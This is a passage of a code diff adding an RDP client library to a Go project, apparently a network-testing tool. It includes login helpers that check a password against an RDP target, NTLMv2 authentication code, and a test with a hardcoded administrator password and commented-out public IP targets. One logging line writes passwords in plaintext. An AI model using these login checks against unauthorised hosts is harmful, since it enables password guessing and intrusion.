= e + glog.Error("error", e) + g.pdu.Emit("done") + }) + g.pdu.On("close", func() { + err = errors.New("close") + glog.Info("on close") + g.pdu.Emit("done") + }) + g.pdu.On("success", func() { + err = nil + glog.Info("on success") + g.pdu.Emit("done") + }) + g.pdu.On("ready", func() { + glog.Info("on ready") + }) + g.pdu.On("update", func(rectangles []pdu.BitmapData) { + glog.Info("on update:", rectangles) + updateCount += 1 + //fmt.Println(updateCount," ",rectangles[0].BitmapLength) + }) + g.pdu.On("done", func() { + if breakFlag == false { + breakFlag = true + wg.Done() + } + }) + + //wait 2 Second + time.Sleep(time.Second * 3) + if breakFlag == false { + breakFlag = true + wg.Done() + } + wg.Wait() + + if updateCount > 50 { + return nil + } + err = errors.New("login failed") + return err +} + +func Login(target, domain, username, password string) error { + var err error + g := NewClient(target, glog.NONE) + //SSL协议登录测试 + err = g.LoginForSSL(domain, username, password) + if err == nil { + return nil + } + if err.Error() != PROTOCOL_RDP { + return err + } + //RDP协议登录测试 + err = g.LoginForRDP(domain, username, password) + if err == nil { + return nil + } else { + return err + } +} + +func LoginForSSL(target, domain, username, password string) error { + var err error + g := NewClient(target, glog.NONE) + //SSL协议登录测试 + err = g.LoginForSSL(domain, username, password) + if err == nil { + return nil + } + return err +} + +func LoginForRDP(target, domain, username, password string) error { + var err error + g := NewClient(target, glog.NONE) + //SSL协议登录测试 + err = g.LoginForRDP(domain, username, password) + if err == nil { + return nil + } + return err +} + +func VerifyProtocol(target string) string { + var err error + err = LoginForSSL(target, "", "administrator", "test") + if err == nil { + return PROTOCOL_SSL + } + if err.Error() != PROTOCOL_RDP { + return PROTOCOL_SSL + } + return PROTOCOL_RDP +} diff --git a/pkg/grdp/grdp_test.go b/pkg/grdp/grdp_test.go new file mode 100644 index 0000000..bc54277 --- /dev/null +++ b/pkg/grdp/grdp_test.go @@ -0,0 +1,47 @@ +package grdp + +import ( + "Yasso/pkg/grdp/glog" + "fmt" + "testing" +) + +func testrdp(target string) { + domain := "" + username := "administrator" + password := "930517" + //target = "180.102.17.30:3389" + var err error + g := NewClient(target, glog.NONE) + //SSL协议登录测试 + err = g.LoginForSSL(domain, username, password) + if err == nil { + fmt.Println("Login Success") + return + } + if err.Error() != "PROTOCOL_RDP" { + fmt.Println("Login Error:", err) + return + } + //RDP协议登录测试 + err = g.LoginForRDP(domain, username, password) + if err == nil { + fmt.Println("Login Success") + return + } else { + fmt.Println("Login Error:", err) + return + } +} + +func TestName(t *testing.T) { + targetArr := []string{ + //"50.57.49.172:3389", + //"20.49.22.250:3389", + "192.168.248.199:3389", + } + for _, target := range targetArr { + fmt.Println(target) + testrdp(target) + } +} diff --git a/pkg/grdp/protocol/lic/lic.go b/pkg/grdp/protocol/lic/lic.go new file mode 100644 index 0000000..14913be --- /dev/null +++ b/pkg/grdp/protocol/lic/lic.go @@ -0,0 +1,181 @@ +package lic + +import ( + "io" + + "Yasso/pkg/grdp/core" +) + +const ( + LICENSE_REQUEST = 0x01 + PLATFORM_CHALLENGE = 0x02 + NEW_LICENSE = 0x03 + UPGRADE_LICENSE = 0x04 + LICENSE_INFO = 0x12 + NEW_LICENSE_REQUEST = 0x13 + PLATFORM_CHALLENGE_RESPONSE = 0x15 + ERROR_ALERT = 0xFF +) + +// error code +const ( + ERR_INVALID_SERVER_CERTIFICATE = 0x00000001 + ERR_NO_LICENSE = 0x00000002 + ERR_INVALID_SCOPE = 0x00000004 + ERR_NO_LICENSE_SERVER = 0x00000006 + STATUS_VALID_CLIENT = 0x00000007 + ERR_INVALID_CLIENT = 0x00000008 + ERR_INVALID_PRODUCTID = 0x0000000B + ERR_INVALID_MESSAGE_LEN = 0x0000000C + ERR_INVALID_MAC = 0x00000003 +) + +// state transition +const ( + ST_TOTAL_ABORT = 0x00000001 + ST_NO_TRANSITION = 0x00000002 + ST_RESET_PHASE_TO_START = 0x00000003 + ST_RESEND_LAST_MESSAGE = 0x00000004 +) + +/* + """ + @summary: Binary blob data type + @see: http://msdn.microsoft.com/en-us/library/cc240481.aspx + """ +*/ +type BinaryBlobType uint16 + +const ( + BB_ANY_BLOB = 0x0000 + BB_DATA_BLOB = 0x0001 + BB_RANDOM_BLOB = 0x0002 + BB_CERTIFICATE_BLOB = 0x0003 + BB_ERROR_BLOB = 0x0004 + BB_ENCRYPTED_DATA_BLOB = 0x0009 + BB_KEY_EXCHG_ALG_BLOB = 0x000D + BB_SCOPE_BLOB = 0x000E + BB_CLIENT_USER_NAME_BLOB = 0x000F + BB_CLIENT_MACHINE_NAME_BLOB = 0x0010 +) + +type ErrorMessage struct { + DwErrorCode uint32 + DwStateTransaction uint32 + Blob []byte +} + +func readErrorMessage(r io.Reader) *ErrorMessage { + m := &ErrorMessage{} + m.DwErrorCode, _ = core.ReadUInt32LE(r) + m.DwStateTransaction, _ = core.ReadUInt32LE(r) + return m +} + +type LicensePacket struct { + BMsgtype uint8 + Flag uint8 + WMsgSize uint16 + LicensingMessage interface{} +} + +func ReadLicensePacket(r io.Reader) *LicensePacket { + l := &LicensePacket{} + l.BMsgtype, _ = core.ReadUInt8(r) + l.Flag, _ = core.ReadUInt8(r) + l.WMsgSize, _ = core.ReadUint16LE(r) + + switch l.BMsgtype { + case ERROR_ALERT: + l.LicensingMessage = readErrorMessage(r) + default: + l.LicensingMessage, _ = core.ReadBytes(int(l.WMsgSize-4), r) + } + + return l +} + +/* + """ + @summary: Blob use by license manager to exchange security data + @see: http://msdn.microsoft.com/en-us/library/cc240481.aspx + """ +*/ +type LicenseBinaryBlob struct { + WBlobType uint16 `struc:"little"` + WBlobLen uint16 `struc:"little"` + BlobData []byte `struc:"sizefrom=WBlobLen"` +} + +func NewLicenseBinaryBlob(WBlobType uint16) *LicenseBinaryBlob { + return &LicenseBinaryBlob{} +} + +/* + """ + @summary: License server product information + @see: http://msdn.microsoft.com/en-us/library/cc241915.aspx + """ +*/ +type ProductInformation struct { + DwVersion uint32 `struc:"little"` + CbCompanyName uint32 `struc:"little"` + //may contain "Microsoft Corporation" from server microsoft + PbCompanyName []byte `struc:"sizefrom=CbCompanyName"` + CbProductId uint32 `struc:"little"` + //may contain "A02" from microsoft license server + PbProductId []byte `struc:"sizefrom=CbProductId"` +} + +/* +@summary: Send by server to signal license request + server -> client +@see: http://msdn.microsoft.com/en-us/library/cc241914.aspx +*/ +type ServerLicenseRequest struct { + ServerRandom []byte `struc:"[32]byte"` + ProductInfo ProductInformation `struc:"little"` + KeyExchangeList LicenseBinaryBlob `struc:"little"` + ServerCertificate LicenseBinaryBlob `struc:"little"` + //ScopeList ScopeList +} + +/* +@summary: Send by client to ask new license for client. + RDPY doesn'support license reuse, need it in futur version +@see: http://msdn.microsoft.com/en-us/library/cc241918.aspx + #RSA and must be only RSA + #pure microsoft client ;-) + #http://msdn.microsoft.com/en-us/library/1040af38-c733-4fb3-acd1-8db8cc979eda#id10 +*/ + +type ClientNewLicenseRequest struct { + PreferredKeyExchangeAlg uint32 `struc:"little"` + PlatformId uint32 `struc:"little"` + ClientRandom []byte `struc:"little"` + EncryptedPreMasterSecret LicenseBinaryBlob `struc:"little"` + ClientUserName LicenseBinaryBlob `struc:"little"` + ClientMachineName LicenseBinaryBlob `struc:"little"` +} + +/* +@summary: challenge send from server to client +@see: http://msdn.microsoft.com/en-us/library/cc241921.aspx +*/ +type ServerPlatformChallenge struct { + ConnectFlags uint32 + EncryptedPlatformChallenge LicenseBinaryBlob + MACData [16]byte +} + +/* + """ + @summary: client challenge response + @see: http://msdn.microsoft.com/en-us/library/cc241922.aspx + """ +*/ +type ClientPLatformChallengeResponse struct { + EncryptedPlatformChallengeResponse LicenseBinaryBlob + EncryptedHWID LicenseBinaryBlob + MACData []byte //[16]byte +} diff --git a/pkg/grdp/protocol/nla/cssp.go b/pkg/grdp/protocol/nla/cssp.go new file mode 100644 index 0000000..e907359 --- /dev/null +++ b/pkg/grdp/protocol/nla/cssp.go @@ -0,0 +1,99 @@ +package nla + +import ( + "encoding/asn1" + + "Yasso/pkg/grdp/glog" +) + +type NegoToken struct { + Data []byte `asn1:"explicit,tag:0"` +} + +type TSRequest struct { + Version int `asn1:"explicit,tag:0"` + NegoTokens []NegoToken `asn1:"optional,explicit,tag:1"` + AuthInfo []byte `asn1:"optional,explicit,tag:2"` + PubKeyAuth []byte `asn1:"optional,explicit,tag:3"` + //ErrorCode int `asn1:"optional,explicit,tag:4"` +} + +type TSCredentials struct { + CredType int `asn1:"explicit,tag:0"` + Credentials []byte `asn1:"explicit,tag:1"` +} + +type TSPasswordCreds struct { + DomainName []byte `asn1:"explicit,tag:0"` + UserName []byte `asn1:"explicit,tag:1"` + Password []byte `asn1:"explicit,tag:2"` +} + +type TSCspDataDetail struct { + KeySpec int `asn1:"explicit,tag:0"` + CardName string `asn1:"explicit,tag:1"` + ReaderName string `asn1:"explicit,tag:2"` + ContainerName string `asn1:"explicit,tag:3"` + CspName string `asn1:"explicit,tag:4"` +} + +type TSSmartCardCreds struct { + Pin string `asn1:"explicit,tag:0"` + CspData []TSCspDataDetail `asn1:"explicit,tag:1"` + UserHint string `asn1:"explicit,tag:2"` + DomainHint string `asn1:"explicit,tag:3"` +} + +func EncodeDERTRequest(msgs []Message, authInfo []byte, pubKeyAuth []byte) []byte { + req := TSRequest{ + Version: 2, + } + + if len(msgs) > 0 { + req.NegoTokens = make([]NegoToken, 0, len(msgs)) + } + + for _, msg := range msgs { + token := NegoToken{msg.Serialize()} + req.NegoTokens = append(req.NegoTokens, token) + } + + if len(authInfo) > 0 { + req.AuthInfo = authInfo + } + + if len(pubKeyAuth) > 0 { + req.PubKeyAuth = pubKeyAuth + } + + result, err := asn1.Marshal(req) + if err != nil { + glog.Error(err) + } + return result +} + +func DecodeDERTRequest(s []byte) (*TSRequest, error) { + treq := &TSRequest{} + _, err := asn1.Unmarshal(s, treq) + return treq, err +} +func EncodeDERTCredentials(domain, username, password []byte) []byte { + tpas := TSPasswordCreds{domain, username, password} + result, err := asn1.Marshal(tpas) + if err != nil { + glog.Error(err) + } + tcre := TSCredentials{1, result} + result, err = asn1.Marshal(tcre) + if err != nil { + glog.Error(err) + } + return result +} + +func DecodeDERTCredentials(s []byte) (*TSCredentials, error) { + tcre := &TSCredentials{} + _, err := asn1.Unmarshal(s, tcre) + return tcre, err +} diff --git a/pkg/grdp/protocol/nla/encode.go b/pkg/grdp/protocol/nla/encode.go new file mode 100644 index 0000000..9787284 --- /dev/null +++ b/pkg/grdp/protocol/nla/encode.go @@ -0,0 +1,46 @@ +package nla + +import ( + "crypto/hmac" + "crypto/md5" + "crypto/rc4" + "strings" + + "Yasso/pkg/grdp/core" + "golang.org/x/crypto/md4" +) + +func MD4(data []byte) []byte { + h := md4.New() + h.Write(data) + return h.Sum(nil) +} + +func MD5(data []byte) []byte { + h := md5.New() + h.Write(data) + return h.Sum(nil) +} + +func HMAC_MD5(key, data []byte) []byte { + h := hmac.New(md5.New, key) + h.Write(data) + return h.Sum(nil) +} + +// Version 2 of NTLM hash function +func NTOWFv2(password, user, domain string) []byte { + return HMAC_MD5(MD4(core.UnicodeEncode(password)), core.UnicodeEncode(strings.ToUpper(user)+domain)) +} + +// Same as NTOWFv2 +func LMOWFv2(password, user, domain string) []byte { + return NTOWFv2(password, user, domain) +} + +func RC4K(key, src []byte) []byte { + result := make([]byte, len(src)) + rc4obj, _ := rc4.NewCipher(key) + rc4obj.XORKeyStream(result, src) + return result +} diff --git a/pkg/grdp/protocol/nla/encode_test.go b/pkg/grdp/protocol/nla/encode_test.go new file mode 100644 index 0000000..2f07629 --- /dev/null +++ b/pkg/grdp/protocol/nla/encode_test.go @@ -0,0 +1,32 @@ +package nla_test + +import ( + "encoding/hex" + "testing" + + "Yasso/pkg/grdp/protocol/nla" +) + +func TestNTOWFv2(t *testing.T) { + res := hex.EncodeToString(nla.NTOWFv2("", "", "")) + expected := "f4c1a15dd59d4da9bd595599220d971a" + if res != expected { + t.Error(res, "not equal to", expected) + } + + res = hex.EncodeToString(nla.NTOWFv2("user", "pwd", "dom")) + expected = "652feb8208b3a8a6264c9c5d5b820979" + if res != expected { + t.Error(res, "not equal to", expected) + } +} + +func TestRC4K(t *testing.T) { + key, _ := hex.DecodeString("55638e834ce774c100637f197bc0683f") + src, _ := hex.DecodeString("177d16086dd3f06fa8d594e3bad005b7") + res := hex.EncodeToString(nla.RC4K(key, src)) + expected := "f5ab375222707a492bd5a90705d96d1d" + if res != expected { + t.Error(res, "not equal to", expected) + } +} diff --git a/pkg/grdp/protocol/nla/ntlm.go b/pkg/grdp/protocol/nla/ntlm.go new file mode 100644 index 0000000..ae54d9b --- /dev/null +++ b/pkg/grdp/protocol/nla/ntlm.go @@ -0,0 +1,515 @@ +package nla + +import ( + "bytes" + "crypto/md5" + "crypto/rc4" + "encoding/binary" + "encoding/hex" + "time" + + "Yasso/pkg/grdp/core" + "Yasso/pkg/grdp/glog" + "github.com/lunixbochs/struc" +) + +const ( + WINDOWS_MINOR_VERSION_0 = 0x00 + WINDOWS_MINOR_VERSION_1 = 0x01 + WINDOWS_MINOR_VERSION_2 = 0x02 + WINDOWS_MINOR_VERSION_3 = 0x03 + + WINDOWS_MAJOR_VERSION_5 = 0x05 + WINDOWS_MAJOR_VERSION_6 = 0x06 + NTLMSSP_REVISION_W2K3 = 0x0F +) + +const ( + MsvAvEOL = 0x0000 + MsvAvNbComputerName = 0x0001 + MsvAvNbDomainName = 0x0002 + MsvAvDnsComputerName = 0x0003 + MsvAvDnsDomainName = 0x0004 + MsvAvDnsTreeName = 0x0005 + MsvAvFlags = 0x0006 + MsvAvTimestamp = 0x0007 + MsvAvSingleHost = 0x0008 + MsvAvTargetName = 0x0009 + MsvChannelBindings = 0x000A +) + +type AVPair struct { + Id uint16 `struc:"little"` + Len uint16 `struc:"little,sizeof=Value"` + Value []byte `struc:"little"` +} + +const ( + NTLMSSP_NEGOTIATE_56 = 0x80000000 + NTLMSSP_NEGOTIATE_KEY_EXCH = 0x40000000 + NTLMSSP_NEGOTIATE_128 = 0x20000000 + NTLMSSP_NEGOTIATE_VERSION = 0x02000000 + NTLMSSP_NEGOTIATE_TARGET_INFO = 0x00800000 + NTLMSSP_REQUEST_NON_NT_SESSION_KEY = 0x00400000 + NTLMSSP_NEGOTIATE_IDENTIFY = 0x00100000 + NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = 0x00080000 + NTLMSSP_TARGET_TYPE_SERVER = 0x00020000 + NTLMSSP_TARGET_TYPE_DOMAIN = 0x00010000 + NTLMSSP_NEGOTIATE_ALWAYS_SIGN = 0x00008000 + NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED = 0x00002000 + NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED = 0x00001000 + NTLMSSP_NEGOTIATE_NTLM = 0x00000200 + NTLMSSP_NEGOTIATE_LM_KEY = 0x00000080 + NTLMSSP_NEGOTIATE_DATAGRAM = 0x00000040 + NTLMSSP_NEGOTIATE_SEAL = 0x00000020 + NTLMSSP_NEGOTIATE_SIGN = 0x00000010 + NTLMSSP_REQUEST_TARGET = 0x00000004 + NTLM_NEGOTIATE_OEM = 0x00000002 + NTLMSSP_NEGOTIATE_UNICODE = 0x00000001 +) + +type NVersion struct { + ProductMajorVersion uint8 `struc:"little"` + ProductMinorVersion uint8 `struc:"little"` + ProductBuild uint16 `struc:"little"` + Reserved [3]byte `struc:"little"` + NTLMRevisionCurrent uint8 `struc:"little"` +} + +func NewNVersion() NVersion { + return NVersion{ + ProductMajorVersion: WINDOWS_MAJOR_VERSION_6, + ProductMinorVersion: WINDOWS_MINOR_VERSION_0, + ProductBuild: 6002, + NTLMRevisionCurrent: NTLMSSP_REVISION_W2K3, + } +} + +type Message interface { + Serialize() []byte +} + +type NegotiateMessage struct { + Signature [8]byte `struc:"little"` + MessageType uint32 `struc:"little"` + NegotiateFlags uint32 `struc:"little"` + DomainNameLen uint16 `struc:"little"` + DomainNameMaxLen uint16 `struc:"little"` + DomainNameBufferOffset uint32 `struc:"little"` + WorkstationLen uint16 `struc:"little"` + WorkstationMaxLen uint16 `struc:"little"` + WorkstationBufferOffset uint32 `struc:"little"` + Version NVersion `struc:"little"` + Payload [32]byte `struc:"skip"` +} + +func NewNegotiateMessage() *NegotiateMessage { + return &NegotiateMessage{ + Signature: [8]byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00}, + MessageType: 0x00000001, + } +} + +func (m *NegotiateMessage) Serialize() []byte { + if (m.NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION) != 0 { + m.Version = NewNVersion() + } + buff := &bytes.Buffer{} + struc.Pack(buff, m) + + return buff.Bytes() +} + +type ChallengeMessage struct { + Signature []byte `struc:"[8]byte"` + MessageType uint32 `struc:"little"` + TargetNameLen uint16 `struc:"little"` + TargetNameMaxLen uint16 `struc:"little"` + TargetNameBufferOffset uint32 `struc:"little"` + NegotiateFlags uint32 `struc:"little"` + ServerChallenge [8]byte `struc:"little"` + Reserved [8]byte `struc:"little"` + TargetInfoLen uint16 `struc:"little"` + TargetInfoMaxLen uint16 `struc:"little"` + TargetInfoBufferOffset uint32 `struc:"little"` + Version NVersion `struc:"skip"` + Payload []byte `struc:"skip"` +} + +func (m *ChallengeMessage) Serialize() []byte { + buff := &bytes.Buffer{} + struc.Pack(buff, m) + if (m.NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION) != 0 { + struc.Pack(buff, m.Version) + } + buff.Write(m.Payload) + return buff.Bytes() +} + +func NewChallengeMessage() *ChallengeMessage { + return &ChallengeMessage{ + Signature: []byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00}, + MessageType: 0x00000002, + } +} + +// total len - payload len +func (m *ChallengeMessage) BaseLen() uint32 { + return 56 +} + +func (m *ChallengeMessage) getTargetInfo() []byte { + if m.TargetInfoLen == 0 { + return make([]byte, 0) + } + offset := m.BaseLen() + start := m.TargetInfoBufferOffset - offset + return m.Payload[start : start+uint32(m.TargetInfoLen)] +} +func (m *ChallengeMessage) getTargetName() []byte { + if m.TargetNameLen == 0 { + return make([]byte, 0) + } + offset := m.BaseLen() + start := m.TargetNameBufferOffset - offset + return m.Payload[start : start+uint32(m.TargetNameLen)] +} +func (m *ChallengeMessage) getTargetInfoTimestamp(data []byte) []byte { + r := bytes.NewReader(data) + for r.Len() > 0 { + avPair := &AVPair{} + struc.Unpack(r, avPair) + if avPair.Id == MsvAvTimestamp { + return avPair.Value + } + + if avPair.Id == MsvAvEOL { + break + } + } + return nil +} + +type AuthenticateMessage struct { + Signature [8]byte + MessageType uint32 `struc:"little"` + LmChallengeResponseLen uint16 `struc:"little"` + LmChallengeResponseMaxLen uint16 `struc:"little"` + LmChallengeResponseBufferOffset uint32 `struc:"little"` + NtChallengeResponseLen uint16 `struc:"little"` + NtChallengeResponseMaxLen uint16 `struc:"little"` + NtChallengeResponseBufferOffset uint32 `struc:"little"` + DomainNameLen uint16 `struc:"little"` + DomainNameMaxLen uint16 `struc:"little"` + DomainNameBufferOffset uint32 `struc:"little"` + UserNameLen uint16 `struc:"little"` + UserNameMaxLen uint16 `struc:"little"` + UserNameBufferOffset uint32 `struc:"little"` + WorkstationLen uint16 `struc:"little"` + WorkstationMaxLen uint16 `struc:"little"` + WorkstationBufferOffset uint32 `struc:"little"` + EncryptedRandomSessionLen uint16 `struc:"little"` + EncryptedRandomSessionMaxLen uint16 `struc:"little"` + EncryptedRandomSessionBufferOffset uint32 `struc:"little"` + NegotiateFlags uint32 `struc:"little"` + Version NVersion `struc:"little"` + MIC [16]byte `struc:"little"` + Payload []byte `struc:"skip"` +} + +func (m *AuthenticateMessage) BaseLen() uint32 { + return 88 +} + +func NewAuthenticateMessage(negFlag uint32, domain, user, workstation []byte, + lmchallResp, ntchallResp, enRandomSessKey []byte) *AuthenticateMessage { + msg := &AuthenticateMessage{ + Signature: [8]byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00}, + MessageType: 0x00000003, + NegotiateFlags: negFlag, + } + payloadBuff := &bytes.Buffer{} + + msg.LmChallengeResponseLen = uint16(len(lmchallResp)) + msg.LmChallengeResponseMaxLen = msg.LmChallengeResponseLen + msg.LmChallengeResponseBufferOffset = msg.BaseLen() + payloadBuff.Write(lmchallResp) + + msg.NtChallengeResponseLen = uint16(len(ntchallResp)) + msg.NtChallengeResponseMaxLen = msg.NtChallengeResponseLen + msg.NtChallengeResponseBufferOffset = msg.LmChallengeResponseBufferOffset + uint32(msg.LmChallengeResponseLen) + payloadBuff.Write(ntchallResp) + + msg.DomainNameLen = uint16(len(domain)) + msg.DomainNameMaxLen = msg.DomainNameLen + msg.DomainNameBufferOffset = msg.NtChallengeResponseBufferOffset + uint32(msg.NtChallengeResponseLen) + payloadBuff.Write(domain) + + msg.UserNameLen = uint16(len(user)) + msg.UserNameMaxLen = msg.UserNameLen + msg.UserNameBufferOffset = msg.DomainNameBufferOffset + uint32(msg.DomainNameLen) + payloadBuff.Write(user) + + msg.WorkstationLen = uint16(len(workstation)) + msg.WorkstationMaxLen = msg.WorkstationLen + msg.WorkstationBufferOffset = msg.UserNameBufferOffset + uint32(msg.UserNameLen) + payloadBuff.Write(workstation) + + msg.EncryptedRandomSessionLen = uint16(len(enRandomSessKey)) + msg.EncryptedRandomSessionMaxLen = msg.EncryptedRandomSessionLen + msg.EncryptedRandomSessionBufferOffset = msg.WorkstationBufferOffset + uint32(msg.WorkstationLen) + payloadBuff.Write(enRandomSessKey) + + if (msg.NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION) != 0 { + msg.Version = NewNVersion() + } + msg.Payload = payloadBuff.Bytes() + + return msg +} + +func (m *AuthenticateMessage) Serialize() []byte { + buff := &bytes.Buffer{} + struc.Pack(buff, m) + buff.Write(m.Payload) + return buff.Bytes() +} + +type NTLMv2 struct { + domain string + user string + password string + respKeyNT []byte + respKeyLM []byte + negotiateMessage *NegotiateMessage + challengeMessage *ChallengeMessage + authenticateMessage *AuthenticateMessage + enableUnicode bool +} + +func NewNTLMv2(domain, user, password string) *NTLMv2 { + return &NTLMv2{ + domain: domain, + user: user, + password: password, + respKeyNT: NTOWFv2(password, user, domain), + respKeyLM: LMOWFv2(password, user, domain), + } +} + +// generate first handshake messgae +func (n *NTLMv2) GetNegotiateMessage() *NegotiateMessage { + negoMsg := NewNegotiateMessage() + negoMsg.NegotiateFlags = NTLMSSP_NEGOTIATE_KEY_EXCH | + NTLMSSP_NEGOTIATE_128 | + NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY | + NTLMSSP_NEGOTIATE_ALWAYS_SIGN | + NTLMSSP_NEGOTIATE_NTLM | + NTLMSSP_NEGOTIATE_SEAL | + NTLMSSP_NEGOTIATE_SIGN | + NTLMSSP_REQUEST_TARGET | + NTLMSSP_NEGOTIATE_UNICODE + n.negotiateMessage = negoMsg + return n.negotiateMessage +} + +// process NTLMv2 Authenticate hash +func (n *NTLMv2) ComputeResponseV2(respKeyNT, respKeyLM, serverChallenge, clientChallenge, + timestamp, serverInfo []byte) (ntChallResp, lmChallResp, SessBaseKey []byte) { + + tempBuff := &bytes.Buffer{} + tempBuff.Write([]byte{0x01, 0x01}) // Responser version, HiResponser version + tempBuff.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + tempBuff.Write(timestamp) + tempBuff.Write(clientChallenge) + tempBuff.Write([]byte{0x00, 0x00, 0x00, 0x00}) + tempBuff.Write(serverInfo) + tempBuff.Write([]byte{0x00, 0x00, 0x00, 0x00}) + + ntBuf := bytes.NewBuffer(serverChallenge) + ntBuf.Write(tempBuff.Bytes()) + ntProof := HMAC_MD5(respKeyNT, ntBuf.Bytes()) + + ntChallResp = make([]byte, 0, len(ntProof)+tempBuff.Len()) + ntChallResp = append(ntChallResp, ntProof...) + ntChallResp = append(ntChallResp, tempBuff.Bytes()...) + + lmBuf := bytes.NewBuffer(serverChallenge) + lmBuf.Write(clientChallenge) + lmChallResp = HMAC_MD5(respKeyLM, lmBuf.Bytes()) + lmChallResp = append(lmChallResp, clientChallenge...) + + SessBaseKey = HMAC_MD5(respKeyNT, ntProof) + return +} + +func MIC(exportedSessionKey []byte, negotiateMessage, challengeMessage, authenticateMessage Message) []byte { + buff := bytes.Buffer{} + buff.Write(negotiateMessage.Serialize()) + buff.Write(challengeMessage.Serialize()) + buff.Write(authenticateMessage.Serialize()) + return HMAC_MD5(exportedSessionKey, buff.Bytes()) +} + +func concat(bs ...[]byte) []byte { + return bytes.Join(bs, nil) +} + +var ( + clientSigning = concat([]byte("session key to client-to-server signing key magic constant"), []byte{0x00}) + serverSigning = concat([]byte("session key to server-to-client signing key magic constant"), []byte{0x00}) + clientSealing = concat([]byte("session key to client-to-server sealing key magic constant"), []byte{0x00}) + serverSealing = concat([]byte("session key to server-to-client sealing key magic constant"), []byte{0x00}) +) + +func (n *NTLMv2) GetAuthenticateMessage(s []byte) (*AuthenticateMessage, *NTLMv2Security) { + challengeMsg := &ChallengeMessage{} + r := bytes.NewReader(s) + err := struc.Unpack(r, challengeMsg) + if err != nil { + glog.Error("read challengeMsg", err) + return nil, nil + } + if challengeMsg.NegotiateFlags&NTLMSSP_NEGOTIATE_VERSION != 0 { + version := NVersion{} + err := struc.Unpack(r, &version) + if err != nil { + glog.Error("read version", err) + return nil, nil + } + challengeMsg.Version = version + } + challengeMsg.Payload, _ = core.ReadBytes(r.Len(), r) + n.challengeMessage = challengeMsg + glog.Debugf("challengeMsg:%+v", challengeMsg) + + serverName := challengeMsg.getTargetName() + serverInfo := challengeMsg.getTargetInfo() + timestamp := challengeMsg.getTargetInfoTimestamp(serverInfo) + computeMIC := false + if timestamp == nil { + ft := uint64(time.Now().UnixNano()) / 100 + ft += 116444736000000000 // add time between unix & windows offset + timestamp = make([]byte, 8) + binary.LittleEndian.PutUint64(timestamp, ft) + } else { + computeMIC = true + } + glog.Infof("serverName=%+v", string(serverName)) + serverChallenge := challengeMsg.ServerChallenge[:] + clientChallenge := core.Random(8) + ntChallengeResponse, lmChallengeResponse, SessionBaseKey := n.ComputeResponseV2( + n.respKeyNT, n.respKeyLM, serverChallenge, clientChallenge, timestamp, serverInfo) + + exchangeKey := SessionBaseKey + exportedSessionKey := core.Random(16) + EncryptedRandomSessionKey := make([]byte, len(exportedSessionKey)) + rc, _ := rc4.NewCipher(exchangeKey) + rc.XORKeyStream(EncryptedRandomSessionKey, exportedSessionKey) + + if challengeMsg.NegotiateFlags&NTLMSSP_NEGOTIATE_UNICODE != 0 { + n.enableUnicode = true + } + glog.Infof("user: %s, passwd:%s", n.user, n.password) + domain, user, _ := n.GetEncodedCredentials() + + n.authenticateMessage = NewAuthenticateMessage(challengeMsg.NegotiateFlags, + domain, user, []byte(""), lmChallengeResponse, ntChallengeResponse, EncryptedRandomSessionKey) + + if computeMIC { + copy(n.authenticateMessage.MIC[:], MIC(exportedSessionKey, n.negotiateMessage, n.challengeMessage, n.authenticateMessage)[:16]) + } + + md := md5.New() + //ClientSigningKey + a := concat(exportedSessionKey, clientSigning) + md.Write(a) + ClientSigningKey := md.Sum(nil) + //ServerSigningKey + md.Reset() + a = concat(exportedSessionKey, serverSigning) + md.Write(a) + ServerSigningKey := md.Sum(nil) + //ClientSealingKey + md.Reset() + a = concat(exportedSessionKey, clientSealing) + md.Write(a) + ClientSealingKey := md.Sum(nil) + //ServerSealingKey + md.Reset() + a = concat(exportedSessionKey, serverSealing) + md.Write(a) + ServerSealingKey := md.Sum(nil) + + glog.Debugf("ClientSigningKey:%s", hex.EncodeToString(ClientSigningKey)) + glog.Debugf("ServerSigningKey:%s", hex.EncodeToString(ServerSigningKey)) + glog.Debugf("ClientSealingKey:%s", hex.EncodeToString(ClientSealingKey)) + glog.Debugf("ServerSealingKey:%s", hex.EncodeToString(ServerSealingKey)) + + encryptRC4, _ := rc4.NewCipher(ClientSealingKey) + decryptRC4, _ := rc4.NewCipher(ServerSealingKey) + + ntlmSec := &NTLMv2Security{encryptRC4, decryptRC4, ClientSigningKey, ServerSigningKey, 0} + + return n.authenticateMessage, ntlmSec +} + +func (n *NTLMv2) GetEncodedCredentials() ([]byte, []byte, []byte) { + if n.enableUnicode { + return core.UnicodeEncode(n.domain), core.UnicodeEncode(n.user), core.UnicodeEncode(n.password) + } + return []byte(n.domain), []byte(n.user), []byte(n.password) +} + +type NTLMv2Security struct { + EncryptRC4 *rc4.Cipher + DecryptRC4 *rc4.Cipher + SigningKey []byte + VerifyKey []byte + SeqNum uint32 +} + +func (n *NTLMv2Security) GssEncrypt(s []byte) []byte { + p := make([]byte, len(s)) + n.EncryptRC4.XORKeyStream(p, s) + b := &bytes.Buffer{} + + //signature + core.WriteUInt32LE(n.SeqNum, b) + core.WriteBytes(s, b) + s1 := HMAC_MD5(n.SigningKey, b.Bytes())[:8] + checksum := make([]byte, 8) + n.EncryptRC4.XORKeyStream(checksum, s1) + b.Reset() + core.WriteUInt32LE(0x00000001, b) + core.WriteBytes(checksum, b) + core.WriteUInt32LE(n.SeqNum, b) + + core.WriteBytes(p, b) + + n.SeqNum++ + + return b.Bytes() +} +func (n *NTLMv2Security) GssDecrypt(s []byte) []byte { + r := bytes.NewReader(s) + core.ReadUInt32LE(r) //version + checksum, _ := core.ReadBytes(8, r) + seqNum, _ := core.ReadUInt32LE(r) + data, _ := core.ReadBytes(r.Len(), r) + + p := make([]byte, len(data)) + n.DecryptRC4.XORKeyStream(p, data) + + check := make([]byte, len(checksum)) + n.DecryptRC4.XORKeyStream(check, checksum) + + b := &bytes.Buffer{} + core.WriteUInt32LE(seqNum, b) + core.WriteBytes(p, b) + verify := HMAC_MD5(n.VerifyKey, b.Bytes()) + if string(verify) != string(check) { + return nil + } + return p +} diff --git 